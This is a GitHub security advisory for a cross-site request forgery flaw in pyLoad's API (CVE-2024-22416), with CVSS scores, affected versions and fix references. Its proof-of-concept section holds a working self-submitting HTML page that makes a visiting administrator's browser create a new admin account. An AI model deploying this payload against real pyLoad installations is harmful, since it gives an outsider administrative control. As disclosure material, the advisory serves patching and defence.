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GitHub Advisory DatabaseGHSA-PGPJ-V85Q-H5FM

HistoryJan 19, 2024 - 3:27 p.m.

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

2024-01-1915:27:12

CWE-352

GitHub Advisory Database

github.com

pyload

api

csrf

attack

privilege escalation

security vulnerability

9.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

7.2 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

48.6%

JSON

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator’s browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server.

&lt;html&gt;
  
  &lt;body&gt;
    &lt;form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      history.pushState('', '', '/');
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.

Impact

Any API call can be made via a CSRF attack by an unauthenticated user.

Affected configurations

Vulners

Node

pyloadpyloadRange<0.5.0b3.dev78

CPENameOperatorVersion
pyload-nglt0.5.0b3.dev78

CPE	Name	Operator	Version
	pyload-ng	lt	0.5.0b3.dev78

References

github.com/advisories/GHSA-pgpj-v85q-h5fm

github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e

github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc

github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm

github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml

nvd.nist.gov/vuln/detail/CVE-2024-22416

9.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

7.2 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

48.6%

JSON

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